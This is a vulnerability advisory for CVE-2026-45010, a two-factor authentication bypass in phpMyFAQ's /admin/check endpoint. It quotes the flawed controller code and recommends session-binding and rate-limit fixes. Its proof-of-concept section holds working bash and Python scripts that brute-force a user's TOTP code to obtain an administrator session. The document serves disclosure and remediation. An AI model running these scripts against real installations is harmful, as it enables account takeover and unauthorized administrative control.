CVE-2026-45010: phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id
Summary
The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.
The controller class declaration:
php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck
The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.
The check action (line 201-228):
php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }
$token = Filter::filterVar($request->request->get(key: 'token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);
$user = $this->currentUserService; $user->getUserById($userId);
if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId);
if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH2FASUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); }
$this->adminLog->log($user, AdminLogType::AUTH2FAFAILED->value . ':' . $user->getLogin()); }
return new RedirectResponse('./token?user-id=' . $userId); }
Problems:
1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.
The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.
Proof of Concept
bash Step 1: Identify target user ID (admin is typically userid=1) TARGETHOST="http://target.example" USERID=1
Step 2: Brute-force the 6-digit TOTP code TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.
for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{httpcode}:%{redirecturl}" \ -X POST "${TARGETHOST}/admin/check" \ -d "token=${code}&user-id=${USERID}")
# A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done
python Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor
TARGET = "http://target.example/admin/check" USERID = 1
def trycode(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USERID}, allowredirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None
with ThreadPoolExecutor(maxworkers=50) as pool: for result in pool.map(trycode, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break
Impact
Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)
Recommended Fix
1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.
2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.
3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.
Example session-binding fix in check():
php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);
// Require that the session proves password auth for this specific user if ($this->session->get('2fapendinguserid') !== $userId) { return new RedirectResponse(url: './login'); }
// ... existing TOTP validation ... }
And in authenticate(), after successful password check:
php $this->session->set('2fapendinguserid', $this->currentUser->getUserId());
--- Found by aisafe.io
Other sources
phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.
— MITRE
phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id
— Packagist
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/phpmyfaq/phpmyfaqto a version that resolves this vulnerability.Fixed in 4.1.2 - Upgrade
Upgrade
composer/thorsten/phpmyfaqto a version that resolves this vulnerability.Fixed in 4.1.2 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.1.2 - Configuration
After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.
phpMyFAQ 2FA TOTP failed-attempt limit and lockout/backoff = Lock the account or enforce exponential backoff after 5 failed attempts - Configuration
Store a flag in the server-side session after successful password authentication, and require that the session proves password authentication for the requested user before accepting TOTP attempts.
AuthenticationController password-verified session binding = Require the server-side session flag for the specific user - Configuration
Move the /check and /token routes into a separate controller that requires the password-verified session flag instead of allowing the entire controller to skip authentication.
AuthenticationController SkipsAuthenticationCheck scope = Exclude /check and /token from the blanket skip
Event History
Frequently Asked Questions
What is the severity of CVE-2026-45010?
CVE-2026-45010 has a high severity rating due to the potential for unauthorized users to brute-force two-factor authentication.
How do I fix CVE-2026-45010?
To fix CVE-2026-45010, upgrade phpMyFAQ to version 4.1.2 or later to eliminate the vulnerability.
Which versions of phpMyFAQ are affected by CVE-2026-45010?
CVE-2026-45010 affects all versions of phpMyFAQ prior to 4.1.2.
What is the nature of the vulnerability in CVE-2026-45010?
CVE-2026-45010 is an improper restriction of excessive authentication attempts vulnerability found in the /admin/check endpoint.
Can CVE-2026-45010 be exploited without authentication?
Yes, CVE-2026-45010 can be exploited without authentication as it allows unauthenticated brute-force attempts.